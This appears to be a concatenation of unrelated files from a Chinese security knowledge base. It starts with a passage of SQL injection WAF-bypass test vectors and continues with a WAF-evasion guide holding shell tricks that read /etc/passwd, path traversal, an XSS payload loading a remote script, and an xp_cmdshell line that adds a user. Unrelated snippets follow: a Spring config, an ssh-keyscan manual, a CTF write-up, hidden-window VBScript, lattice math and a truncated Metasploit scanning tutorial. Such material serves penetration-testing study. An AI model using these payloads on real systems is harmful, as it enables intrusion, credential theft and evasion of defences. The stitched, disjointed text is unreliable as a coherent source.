space(0) = trim(version()from(version())) #搜索子字符串 locate('a','abc') position('a','abc') position('a' IN 'abc') instr('abc','a') substring_index('ab','b',1) #分割字符串 length(trim(leading 'a' FROM 'abc')) length(replace('abc', 'a', ")) #比较字符串 strcmp('a','a') mod('a','a') find_in_set('a','a') field('a','a') count(concat('a','a')) #字符串长度 length() bit_length() char_length() octet_length() bit_count() #关键字过滤 Connected keyword filtering (0)union(select(table_name),column_name,… 0/**/union/*!50000select*/table_name`foo`/**/… 0%a0union%a0select%09group_concat(table_name)…. 0′union all select all`table_name`foo from`information_schema`. `tables` #控制流 case 'a' when 'a' then 1 [else 0] end case when 'a'='a' then 1 [else 0] end if('a'='a',1,0) ifnull(nullif('a','a'),1) ``` d) 测试向量 ``` sql %55nion(%53elect 1,2,3)-- - +union+distinctROW+select+ /**//*!12345UNION SELECT*//**/ /**/UNION/**//*!50000SELECT*//**/ /*!50000UniON SeLeCt*/ +#uNiOn+#sEleCt +#1q%0AuNiOn all#qa%0A#%0AsEleCt /*!u%6eion*/ /*!se%6cect*/ +un/**/ion+se/**/lect uni%0bon+se%0blect %2f**%2funion%2f**%2fselect union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A REVERSE(noinu)+REVERSE(tceles) /*--*/union/*--*/select/*--*/ union (/*!/**/ SeleCT */ 1,2,3) /*!union*/+/*!select*/ union+/*!select*/ /**//*!union*//**//*!select*//**/ /*!uNIOn*/ /*!SelECt*/ +union+distinctROW+select+ -15+(uNioN)+(sElECt) -15+(UnI)(oN)+(SeL)(ecT)+ id=1+UnIOn/**/SeLect 1,2,3— id=1+UNIunionON+SELselectECT 1,2,3— id=1+/*!UnIOn*/+/*!sElEcT*/ 1,2,3— id=1 and (select 1)=(Select 0xAA 1000 more A's)+UnIoN+SeLeCT 1,2,3— id=1+un/**/ion+sel/**/ect+1,2,3-- id=1+/**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/1,2,3 id=1+/**/union/*&id=*/select/*&id=*/column/*&id=*/from/*&id=*/table-- id=1+/**/union/*&id=*/select/*&id=*/1,2,3-- id=-1 and (select 1)=(Select 0xAA*1000) /*!UNION*/ /*!SELECT*//**/1,2,3,4,5,6—x /**/union/*&id=*/select/*&id=*/column/*&id=*/from/*&id=*/table-- /*!union*/+/*!select*/+1,2,3— /*!UnIOn*//*!SeLect*/+1,2,3— un/**/ion+sel/**/ect+1,2,3— /**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/1,2,3— ID=66+UnIoN+aLL+SeLeCt+1,2,3,4,5,6,7,(SELECT+concat(0x3a,id,0x3a,password,0x3a)+ FROM+information_schema.columns+WHERE+table_schema=0x6334706F645F666573746976616C5F636D73+AND+table_name=0x7573657273), 9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- ?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123 ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2, ?id=15+/*!UnIoN*/+/*!aLl*/+/*!SeLeCt*/+1,version(),3,4,5,6,7-- id=1/*!limit+0+union+select+concat_ws(0×3a,table_name,column_name)+from+information_schema.columns*/ id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(TABLE_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.TABLES-- id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE +TABLE_NAME=0x41646d696e-- SELECT*FROM(test)WHERE(name)IN(_ucs2 0x01df010e004d00cf0148); SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)) in xml way select user from mysql.user where user = 'user' OR mid(password,1,1)=unhex('2a') select user from mysql.user where user = 'user' OR mid(password,1,1) regexp '[*]' select user from mysql.user where user = 'user' OR mid(password,1,1) like '*' select user from mysql.user where user = 'user' OR mid(password,1,1) rlike '[*]' select user from mysql.user where user = 'user' OR ord(mid(password,1,1))=42 /?id=1+union+(select'1',concat(login,hash)from+users) /?id=(1)union(((((((select(1),hex(hash)from(users)))))))) ?id=1'; /*&id=1*/ EXEC /*&id=1*/ master..xp_cmdshell /*&id=1*/ “net user lucifer UrWaFisShiT” /*&id=1*/ -- id=10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables) id=10 and 1=0/(select top 1 table_name from information_schema.tables) id=-725+UNION+SELECT+1,GROUP_CONCAT(id,0x3a,login,0x3a,password,0x3a,email,0x3a,access_level),3,4,5+FROM+Admin-- id=-725+UNION+SELECT+1,version(),3,4,5--sp_password //使用sp_password隐藏log中的请求 ``` ## Reference [Beyond SQLi: Obfuscate and Bypass](https://www.exploit-db.com/papers/17934/) [{JS-ON: Security-OFF}: Abusing JSON-Based SQL to Bypass WAF](https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf?utm_campaign=%5BTeam82%5D+%7BJS-ON%3A+Security-OFF%7D+blog+-+December+2022&utm_content=Oktopost-twitter&utm_source=twitter&utm_tags=Blog%2Cvulnerability+disclosures%2CTEAM82%2Cresearch%2Cjson)
sec-knowleage
# Bypass 技巧 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- ## 大纲 * [匹配绕过](#匹配绕过) * [分段传输](#分段传输) * [性能角度](#性能角度) * [POST](#post) --- **相关文章 & Source & Reference** - [██大学通用型 WAF 不完全绕过(持续非定期更新) ](https://drivertom.blogspot.com/2018/12/waf.html) - [技术讨论 | 在 HTTP 协议层面绕过 WAF](https://www.freebuf.com/news/193659.html) - [利用分块传输吊打所有 WAF](https://www.anquanke.com/post/id/169738) - [编写 Burp 分块传输插件绕 WAF](http://gv7.me/articles/2019/chunked-coding-converter/) - [输入内容存在危险字符,安全起见,已被本站拦截](https://bbs.ichunqiu.com/thread-44577-1-1.html) - [Web Application Firewall (WAF) Evasion Techniques - secjuice™ - Medium](https://medium.com/secjuice/waf-evasion-techniques-718026d693d8) - [浅谈绕过 waf 的数种方法](https://www.waitalone.cn/waf-bypass.html) - [绕过云锁文件读取防护](https://drivertom.blogspot.com/2019/06/lfi.html) - [TSRC挑战赛:WAF之SQL注入绕过挑战实录](https://security.tencent.com/index.php/blog/msg/66) - [简单绕过waf拿下赌博网站](https://xz.aliyun.com/t/9181) - 利用 JavaScript 转写 php - [从shiro-550漏洞品阿里云waf规则引擎](https://mp.weixin.qq.com/s/qF7Jgiev5B7zLEHwGXry3A) - [你的扫描器可以绕过防火墙么?(一)](https://paper.seebug.org/1600/) - [CTF中的命令执行绕过](https://mp.weixin.qq.com/s/fs-IKJuDptJeZMRDCtbdkw) - [WAF的识别、检测、绕过原理与实战案例](https://www.freebuf.com/articles/web/336869.html) **导图** - WAF绕过思路 [png](../../../../assets/img/Security/RedTeam/安防设备/Bypass技巧/WAF绕过思路.png) **payload** - [devploit/XORpass](https://github.com/devploit/XORpass#example-of-bypass) - 使用XOR编码器绕过 WAF --- ## 匹配绕过 **关键字替换** 1. AND 等价于 `&&` 2. OR 等价于 `||` 3. `=` 等价于 like 4. `+` 代替 空格 5. sleep() 等价于 benchmark() 6. mid()substring() 等价于 substr() 最直白的 payload 类似 `<script> alert('xss'); </script>`,但是你可以用 `<script src=来远程加载脚本,并绕过防护` ``` `?search=naive%22%3E%20%3Cmeta%20name=%22referrer%22%20content=%22never%22%20%3E%20%3Cscript%20src=%22https://cdn.jsdelivr.net/gh/TomAPU/xsstest/test.js%22%3E%3C/script%3E%20%3C!--` ``` **注释符绕过** 1. `/**/` 与 `/*!*/` ,还可以代替空格 2. `select/*@a?v|ddd--n*/xxxxx/*@a?v|ddd--n*/from/*a?v|ddd--n*/xxxx`由于waf解析注释符耗费性能,因此这种方法结合fuzz能找到漏网之鱼 3. emoji 表情 4. -- 与 # ``` Union 注入时 `union select 1 from 2` 替换成 `union/*fuckyou//*a*//*!select*/1/*fuckyou//*a*//*!from*/2` order by 测试时直接把空格换成 `/**//**/` ``` **空白符绕过** 1. 正则表达式空白符: %09,%0a,%0b,%0D,%20 2. mysql空白符: %09,0A,%0b,%0D,%20,%0C,%A0,/**/ **浮点数词法解析** 1. select * from xxx where id=8E0union select 1,2,3,4,5,6,7E0from xxxx 2. select * from xxx where id=8.0union select 1,2,3,4,5,6,7.0from xxxx 3. select * from xxx where id=8\Nunion select 1,2,3,4,5,6,7 \Nfrom xxxx **利用不常用报错函数绕过** 1. select extractvalue(1,concat(1,user())); 2. select updatexml(1,concat(1,user()),1); 3. select exp(~(select * from(select user())a)); **hpp 方式** HPP 是指 HTTP 参数污染.形如以下形式:`?id=1&id=2&id=3` 的形式,此种形式在获取 id 值的时候不同的 web 技术获取的值是不一样的. 假设提交的参数即为: ``` id=1&id=2&id=3 Asp.net + iis:id=1,2,3 Asp + iis:id=1,2,3 Php + apache:id=3 形如 index.php?a=[whitelist]&a=select 1 union select 2 ``` **路径限制绕过** 比如 WAF 会对访问敏感路径加以限制,但是加上参数可以绕过. 比如想访问 `xxx.██.edu.cn/phpmyadmin/` 会被拦截,访问 `xxx.██.edu.cn/phpmyadmin/?id=1` 可以绕过 例如连续两个 `../` 会被拦截,可以尝试采用 `./`,例如存在关键词,可以使用 `./` 分割,linux 下 `./` 会被忽略 payload: `.././.././.././.././.././.././.././.././.././.././.././etc/./passwd` **linux变量特性** - 利用 * 匹配和 "" 为空白的特性 ```bash \l\s -l\a\h ""c""at /""**c""/""""**********""a""d******"" cat /e?c/p?ss?? cat /e??/??ss* l''s {l<s,} {ls,-a} {cat,/etc/passwd} cat</etc/passwd ``` - 使用空的 shell 变量特性 ```bash cat$IFS/etc/passwd cat${IFS}/etc/passwd IFS=,;`cat<<<cat,/etc/passwd` c${fuckwaf}at /e${fuckwaf}tc/${fuckwaf}pass${fuckwaf}wd ``` - 变量控制 ```bash x=$'cat\x09/etc/passwd'&&$x a=f;d=ag;c=l;cat$IFS$a$c$d.php ``` - 反斜杠 ```bash ca\t /etc/passwd ``` **多重编码** - [How to hack a company by circumventing its WAF for fun and profit - part 2](https://www.redtimmy.com/web-application-hacking/how-to-hack-a-company-by-circumventing-its-waf-for-fun-and-profit-part-2/) - 通过多重编码绕过 iRules 规则 --- ## 分段传输 **利用 pipline 绕过** - **原理** http 协议是由 tcp 协议封装而来,当浏览器发起一个 http 请求时,浏览器先和服务器建立起连接 tcp 连接,然后发送 http 数据包(即我们用 burpsuite 截获的数据),其中包含了一个 Connection 字段,一般值为 close,apache 等容器根据这个字段决定是保持该tcp连接或是断开.当发送的内容太大,超过一个 http 包容量,需要分多次发送时,值会变成 keep-alive,即本次发起的 http 请求所建立的 tcp 连接不断开,直到所发送内容结束 Connection 为 close 为止. - **测试** 关闭 burp 的 Repeater 的 Content-Length 自动更新,如图所示,点击红圈的 Repeater 在下拉选项中取消 update Content-Length 选中.这一步至关重要!!! burp 截获 post 提交 `id=1 and 1=1` 会被 waf,将数据包复制一遍,如图 接着修改第一个数据包的数据部分,即将 `id=1+and+1%3D1` 修改为正常内容 `id=1`,再将数据包的 Content-Length 的值设置为修改后的 `id=1` 的字符长度即 4,最后将 Connection 字段值设为 keep-alive.提交后如图所示,会返回两个响应包,分别对应两个请求. 注意:从结果看,第一个正常数据包返回了正确内容,第二个包含 Payload 的数据包被某狗 waf 拦截,说明两数据包都能到达服务器,在面对其他 waf 时有可能可以绕过.无论如何这仍是一种可学习了解的绕过方法,且可以和接下来的方法进行组合使用绕过. **分块编码传输绕过** - **原理** 在头部加入 Transfer-Encoding: chunked 之后,就代表这个报文采用了分块编码.这时,post 请求报文中的数据部分需要改为用一系列分块来传输.每个分块包含十六进制的长度值和数据,长度值独占一行,长度不包括它结尾的,也不包括分块数据结尾的,且最后需要用 0 独占一行表示结束. 开启上个实验中已关闭的 content-length 自动更新.给 post 请求包加入 Transfer-Encoding: chunked 后,将数据部分 `id=1 and 1=1` 进行分块编码(注意长度值必须为十六进制数),每一块里长度值独占一行,数据占一行如图所示. 注意:分块编码传输需要将关键字 and,or,select ,union 等关键字拆开编码,不然仍然会被 waf 拦截.编码过程中长度需包括空格的长度.最后用 0 表示编码结束,并在 0 后空两行表示数据包结束,不然点击提交按钮后会看到一直处于 waiting 状态. **利用协议未覆盖进行绕过** - **原理** HTTP 头里的 Content-Type 一般有 application/x-www-form-urlencoded,multipart/form-data,text/plain 三种,其中 multipart/form-data 表示数据被编码为一条消息,页上的每个控件对应消息中的一个部分.所以,当 waf 没有规则匹配该协议传输的数据时可被绕过. 将头部 Content-Type 改为 `multipart/form-data; boundary=69` 然后设置分割符内的 Content-Disposition 的 name 为要传参数的名称.数据部分则放在分割结束符上一行. 由于是正常数据提交,所以从图可知数据是能被 apache 容器正确解析的,尝试 `1 and 1=1` 也会被某狗 waf 拦截,但如果其他 waf 没有规则拦截这种方式提交的数据包,那么同样能绕过. 一般绕waf往往需要多种方式结合使用,示例中,只需将数据部分 `1 and 1=1` 用一个小数点 `"."` 当作连接符即 `1.and 1=1` 就可以起到绕过作用.当然,这只是用小数点当连接符所起的作用而已. **组合使用** 在协议未覆盖的数据包中加入 Transfer-Encoding: chunked ,然后将数据部分全部进行分块编码,如图所示(数据部分为 `1 and 1=1` ). 注意:第2块,第3块,第7块,和第8块. 第2块中需要满足 ``` 长度值 空行 Content-Disposition: name="id" 空行 ``` 这种形式,且长度值要将两个空行的长度计算在内(空行长度为2). 第3块,即数据开始部分需满足 ``` 长度值 空行 数据 ``` 形式,且需将空行计算在内. 第7块即分割边界结束部分,需满足 ``` 长度值 空行 分割结束符 空行 ``` 形式,且计算空行长度在内. 第8块需满足 ``` 0空格 空行 空行 ``` 形式.如果不同时满足这四块的形式要求,payload 将不会生效. **使用注释扰乱分块数据包** 通过 [RFC7230](https://tools.ietf.org/html/rfc7230) 阅读规范发现分块传输可以在长度标识处加上分号 `";"` 作为注释,如: ``` 9;kkkkk 1234567=1 4;ooo=222 2345 0 (两个换行) ``` --- ## 性能角度 **性能检测** WAF 在设计的时候都会考虑到性能问题,例如如果是基于数据包的话会考虑检测数据包的包长,如果是基于数据流的话就会考虑检测一条数据流的多少个字节.一般这类算检测的性能,同时为了保证 WAF 的正常运行,往往还会做一个 bypass 设计,在性能如 cpu 高于 80% 或则内存使用率高于如 80% 是时候,会做检测 bypass,以保证设备的正常运行. 现在问题就是检测多长呢?例如我用 HTTP POST 上传一个 2G 的文件,明显不可能 2G 全做检测不但耗 CPU,同时也会耗内存.因此在设计 WAF 的时候可能就会设计一个默认值,有可能是默认多少个字节的流大小,可能是多少个数据包. 设计了一个脚本,不断的向 HTTP POST 添加填充数据,当将填充数据添加到一定数目之后,发现 POST 中的 sql 注入恶意代码没有被检测了.最终达到了 bypass 的目的. **性能负载** 一些传统硬件防护设备为了避免在高负载的时候影响用户体验,如延时等等问题,会考虑在高负载的时候 bypass 掉自己的防护功能,等到设备的负载低于门限值的时候又恢复正常工作. 一些高性能的 WAF 可能使用这种方法可能不能 bypass,但是一些软 WAF 使用这种方式还是可以 bypass 的. 例子,将请求并发同时发送多次,多次访问的时候就有几次漏掉了,没有触发 waf 的拦截. **案例** - [实战渗透-看我如何拿下自己学校的大屏幕(Bypass) ](https://xz.aliyun.com/t/7786) **OpenResty uri参数溢出漏洞** OpenResty 通过ngx.req.get_uri_args、ngx.req.get_post_args获取参数,只能获取到前100个参数,当提交第101个参数时,uri参数溢出,无法正确获取到第101个及以后的参数,无法对攻击者提交的攻击语句进行安全检测,导致基于ngx_lua开发的安全防护可被绕过,影响多款基于OpenResty的开源WAF。 ``` 127.0.0.1/test?a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9& id=1 union select 1,schema_name,3 from INFORMATION_SCHEMA.schemata ``` 通过 ngx.req.get_uri_args、ngx.req.get_post_args 获取 uri 参数,只能获取前 100 个参数,当提交第 101 个参数时,uri 参数溢出,无法正确获取第 100 以后的参数值,基于 ngx_lua 开发的安全防护,无法对攻击者提交的第 100 个以后的参数进行有效安全检测,从而绕过安全防御。 --- ## POST urlencode 和 form-data POST 在提交数据的时候有两种方式,第一种方式是使用 urlencode 的方式提交,第二种方式是使用 form-data 的方式提交.当我们在测试站点的时候,如果发现 POST 提交的数据被过滤掉了,此时可以考虑使用 form-data 的方式去提交. --- ## XSS - [XSS 绕过技巧](../Web安全/Web_Generic/XSS.md#绕过技巧) --- ## SSRF - [SSRF 绕过技巧](../Web安全/Web_Generic/SSRF.md#绕过技巧) --- ## RASP **相关文章** - [RASP的安全攻防研究实践](https://mp.weixin.qq.com/s/21WHqN4F68z_O3ju0QFVrg)
sec-knowleage
package org.vulhub; import org.springframework.context.annotation.Configuration; import org.springframework.messaging.simp.config.MessageBrokerRegistry; import org.springframework.web.socket.config.annotation.EnableWebSocketMessageBroker; import org.springframework.web.socket.config.annotation.StompEndpointRegistry; import org.springframework.web.socket.config.annotation.WebSocketMessageBrokerConfigurer; @Configuration @EnableWebSocketMessageBroker public class WebSocketConfig implements WebSocketMessageBrokerConfigurer { @Override public void configureMessageBroker(MessageBrokerRegistry config) { config.enableSimpleBroker("/topic"); config.setApplicationDestinationPrefixes("/app"); } @Override public void registerStompEndpoints(StompEndpointRegistry registry) { registry.addEndpoint("/gs-guide-websocket").withSockJS(); } }
sec-knowleage
ssh-keyscan === 收集主机公钥的使用工具 ## 补充说明 **ssh-keyscan命令** 是一个收集大量主机公钥的使用工具。 ### 语法 ```shell ssh-keyscan(选项)(参数) ``` ### 选项 ```shell -4:强制使用IPv4地址; -6:强制使用IPv6地址; -f:从指定文件中读取“地址列表/名字列表”; -p:指定连接远程主机的端口; -T:指定连接尝试的超时时间; -t:指定要创建的密钥类型; -v:信息模式,打印调试信息。 ``` ### 参数 主机列表:指定要收集公钥的主机列表。
sec-knowleage
## ServerfARM (RE, 70p) Description: Someone handed me this and told me that to pass the exam, I have to extract a secret string. I know cheating is bad, but once does not count. So are you willing to help me? ###ENG [PL](#pl-version) After reversing the provided ARM binary, we quickly find some print statements printing hardcoded characters and short strings, such as `printf("%s%c", "IW",'{')`. Gathering all of them, we quickly get the password. ###PL version Spojrzawszy na zdeasemblowany kod ARMowej binarki, zauważamy miejsce, w którym następuje wypisywanie flagi. Skłąda się ona z kilku/kilkunastu wypisań znaków i krótkich stringów, jak `printf("%s%c", "IW",'{')`. Po zebraniu wszystkich z nich, dostajemy flagę.
sec-knowleage
实战中,需要用 bat 解决的事情总会碰到,而针对不同的环境,可能同一件事情需要不同的方案。 ### demo:测试bat bat 内容:追加到bat.txt里。 ![](media/c88eaa0827ffcda7b8bf145ab166128e.jpg) ![](media/ac6b7ca7ff474a41f6c4e3b39740c63e.jpg) ### 附代码: ```bash Set oShell = CreateObject ("Wscript.Shell") Dim strArgs strArgs = "cmd /c bat.bat" oShell.Run strArgs, 0, false ``` 但是代码过长,需要追加写入。需要简化下代码。 ![](media/4459b76b982a0d54de0cba76496b2f07.jpg) ### 附代码: ```bash CreateObject("Wscript.Shell").Run "bat.bat", 0, True ``` 如果需要在目标机上执行多个 bat,如果需要把代码中的 bat.bat 变成变量的话。 ![](media/362d2fd19ae38ea13dd9f7f4b7e7b845.jpg) ### 附代码: ```bash If WScript.Arguments.Count >= 1 Then ReDim arr(WScript.Arguments.Count‐1) For i = 0 To WScript.Arguments.Count‐1 Arg = WScript.Arguments(i) If InStr(Arg, " ") > 0 Then Arg = """" & Arg & """" arr(i) = Arg Next RunCmd = Join(arr) CreateObject("Wscript.Shell").Run RunCmd, 0, True End If ``` > Micropoor
sec-knowleage
# 格基规约算法 ## Lenstra–Lenstra–Lovasz ### 基本介绍 LLL 算法就是在格上找到一组基,满足如下效果 而且,这种方法生成的基所具有的如下性质是非常有用的 ### 简单应用 这里我举一下 LLL paper 中给的第二个例子。给定 n 个实数 $\alpha_i,...,\alpha_n$,找到这 n 个数的有理线性逼近,即找到 n 个数 $m_i$,使得 $\sum\limits_{i=1}^{n}m_i\alpha_i$ 尽可能等于 0。 我们可以构造这样的矩阵,这里 $a_i$ 为 $\alpha_i$ 的有理逼近。 $$ A = \left[ \begin{matrix} 1 & 0 & 0 & \cdots & 0 & ca_1 \\ 0 & 1 & 0 & \cdots & 0 & c a_2 \\ 0 & 0 & 1 & \cdots & 0 & c a_3 \\\vdots & \vdots & \vdots & \ddots & \vdots \\ 0 & 0 &0 & \cdots & 1 & c a_n \\ \end{matrix} \right]$$ 矩阵为 n*(n+1) 的,我们可以根据格求行列式的方法来求一下这个格对应的行列式。 $det(L)=\sqrt{AA^T}$ 我们进一步考虑这样的矩阵 $$ A = \left[ \begin{matrix} 1 & 0 & 0 & \cdots & 0 & a_1 \\ 0 & 1 & 0 & \cdots & 0 & a_2 \\ 0 & 0 & 1 & \cdots & 0 & a_3 \\\vdots & \vdots & \vdots & \ddots & \vdots \\ 0 & 0 &0 & \cdots & 1 & a_n \\ \end{matrix} \right]$$ 那么 $$ AA^T = \left[ \begin{matrix} 1+a_1^2 & a_1a_2 & a_1a_3 & \cdots & a_1a_n \\ a_2a_1 & 1+a_2^2 & a_2a_3 & \cdots & a_2a_n \\ a_3a_1 & a_3a_2 & 1+a_3^2 & \cdots & a_3a_n \\ \vdots & \vdots & \vdots & \ddots & \vdots \\ a_na_1 & a_na_2 &a_na_3 & \cdots & 1+a_n^2 \\ \end{matrix} \right]$$ 进一步我们从低维到高维大概试一试(严格证明,可以考虑添加一行和一列,左上角为1),得到格的行列式为 $\sqrt{1+\sum\limits_{i=1}^n\alpha_i^2}$ 可以参见考研宇哥的如下证明 那么经过 LLL 算法后,我们可以获得 $||b_1|| \leq 2^{\frac{n-1}{4}} (1+\sum\limits_{i=1}^n\alpha_i^2)^{\frac{1}{2(n+1)}}$ 一般来说后一项在开 n 次方时趋向于1,因为 $a_i$ 都是常数,一般不会和 n 相关,所以 $||b_1|| \leq 2^{\frac{n-1}{4}}*k$ k 比较小。此外,$b_1$ 又是原向量的线性组合,那么 $b_1[n]=\sum\limits_{i=1}^{n}m_ic*a_i=c\sum\limits_{i=1}^{n}m_i*a_i$ 显然如果 c 足够大,那么后面的求和必须足够小,才可以满足上面的约束。 ## 参考 - Survey: Lattice Reduction Attacks on RSA
sec-knowleage
version: '3' services: rmi: build: "." ports: - 1099:1099 environment: - RMIIP=192.168.31.88
sec-knowleage
# 杂项简介 Misc 是英文 Miscellaneous 的前四个字母,杂项、混合体、大杂烩的意思。 Misc 在国外的比赛中其实又被具体划分为各个小块,有 - Recon - Forensic - Stego - Misc - …… 在国内的比赛中,被统一划分入 Misc 领域,有时 Crypto(尤其是古典密码)也被划入其中。 在 Misc 这一章节中,将从以下几个方面介绍这一块的知识: - Recon(信息搜集) 主要介绍一些获取信息的渠道和一些利用百度、谷歌等搜索引擎的技巧 - Encode(编码转换) 主要介绍在 CTF 比赛中一些常见的编码形式以及转换的技巧和常见方式 - Forensic && Stego(数字取证 && 隐写分析) 隐写取证是 Misc 中最为重要的一块,包括文件分析、隐写、内存镜像分析和流量抓包分析等等,涉及巧妙的编码、隐藏数据、层层嵌套的文件中的文件,灵活利用搜索引擎获取所需要的信息等等。 CTF 中 Misc 与现实中的取证不同,现实中的取证很少会涉及巧妙的编码加密,数据隐藏,被分散嵌套在各处的文件字符串,或是其他脑洞类的 Challenge。很多时候是去精心恢复一个残损的文件,挖掘损坏硬盘中的蛛丝马迹,或者从内存镜像中抽取有用的信息。 现实的取证需要从业者能够找出间接的恶意行为证据:攻击者攻击系统的痕迹,或是内部威胁行为的痕迹。实际工作中计算机取证大部分是从日志、内存、文件系统中找出犯罪线索,并找出与文件或文件系统中数据的关系。而流量取证比起内容数据的分析,更注重元数据的分析,也就是当前不同端点间常用 TLS 加密的网络会话。 Misc 是切入 CTF 竞赛领域、培养兴趣的最佳入口。Misc 考察基本知识,对安全技能的各个层面都有不同程度的涉及,可以在很大程度上启发思维。
sec-knowleage
**注:**请多喝点热水或者凉白开,可预防**肾结石,通风**等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 **攻击机:** 192.168.1.5 Debian **靶机:** 192.168.1.2 Windows 7 192.168.1.119 Windows 2003 ### MSF的search支持type搜索: ```bash msf > search scanner type:auxiliary Matching Modules ================ Name Disclosure Date Rank Check Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐ ‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ auxiliary/admin/appletv/appletv_display_image normal No Apple TV Image Remote Control auxiliary/admin/appletv/appletv_display_video normal No Apple TV Video Remote Control auxiliary/admin/smb/check_dir_file normal Yes SMB Scanner CheckFile/Directory Utility auxiliary/admin/teradata/teradata_odbc_sql 2018‐03‐29 normal Yes Teradata ODBC SQL Query Module auxiliary/bnat/bnat_scan normal Yes BNAT Scanner auxiliary/gather/citrix_published_applications normal No Citrix MetaFrame ICA Published Applications Scanner auxiliary/gather/enum_dns normal No DNS Record Scanner and Enumerator .... auxiliary/scanner/winrm/winrm_cmd normal Yes WinRM Command Runner auxiliary/scanner/winrm/winrm_login normal Yes WinRM Login Utility auxiliary/scanner/winrm/winrm_wql normal Yes WinRM WQL Query Runner auxiliary/scanner/wproxy/att_open_proxy 2017‐08‐31 normal Yes Open WAN‐to‐LAN proxy on AT&T routers auxiliary/scanner/wsdd/wsdd_query normal Yes WS‐Discovery Information Discovery auxiliary/scanner/x11/open_x11 normal Yes X11 No‐Auth Scanner ``` ![](media/a25502ba38f084a0edddd759473d4921.jpg) **第一季主要介绍 scanner 下的五个模块,辅助发现内网存活主机,分别为:** * auxiliary/scanner/discovery/arp_sweep * auxiliary/scanner/discovery/udp_sweep * auxiliary/scanner/ftp/ftp_version * auxiliary/scanner/http/http_version * auxiliary/scanner/smb/smb_version ### 一:基于scanner/http/http_version发现HTTP服务 ```bash msf auxiliary(scanner/http/http_version) > show options Module options (auxiliary/scanner/http/http_version): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ Proxies no A proxy chain of format type:host:port[,type:host:port] [...] RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections THREADS 20 yes The number of concurrent threads VHOST no HTTP server virtual host msf auxiliary(scanner/http/http_version) > exploit [+] 192.168.1.1:80 [*] Scanned 27 of 256 hosts (10% complete) [*] Scanned 63 of 256 hosts (24% complete) [*] Scanned 82 of 256 hosts (32% complete) [*] Scanned 103 of 256 hosts (40% complete) [+] 192.168.1.119:80 Microsoft‐IIS/6.0 ( Powered by ASP.NET ) [*] Scanned 129 of 256 hosts (50% complete) [*] Scanned 154 of 256 hosts (60% complete) [*] Scanned 182 of 256 hosts (71% complete) [*] Scanned 205 of 256 hosts (80% complete) [*] Scanned 231 of 256 hosts (90% complete) [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed ``` ![](media/15b17e700bde4540e5b51959a3e15de5.jpg) ### 二:基于scanner/smb/smb_version发现SMB服务 ```bash msf auxiliary(scanner/smb/smb_version) > show options Module options (auxiliary/scanner/smb/smb_version): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier SMBDomain . no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as THREADS 20 yes The number of concurrent threads msf auxiliary(scanner/smb/smb_version) > exploit [+] 192.168.1.2:445 ‐ Host is running Windows 7 Ultimate SP1 (build:7601) (name:JOHN‐PC) (workgroup:WORKGROUP ) [*] Scanned 40 of 256 hosts (15% complete) [*] Scanned 60 of 256 hosts (23% complete) [*] Scanned 79 of 256 hosts (30% complete) [+] 192.168.1.119:445 ‐ Host is running Windows 2003 R2 SP2 (build:3790) (name:WIN03X64) [*] Scanned 103 of 256 hosts (40% complete) [*] Scanned 128 of 256 hosts (50% complete) [*] Scanned 154 of 256 hosts (60% complete) [*] Scanned 181 of 256 hosts (70% complete) [*] Scanned 206 of 256 hosts (80% complete) [*] Scanned 231 of 256 hosts (90% complete) [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed ``` ![](media/db717c6c50914ce513a94fe211bf620b.jpg) ### 三:基于scanner/ftp/ftp_version发现FTP服务 ```bash msf auxiliary(scanner/ftp/ftp_version) > show options Module options (auxiliary/scanner/ftp/ftp_version): Name 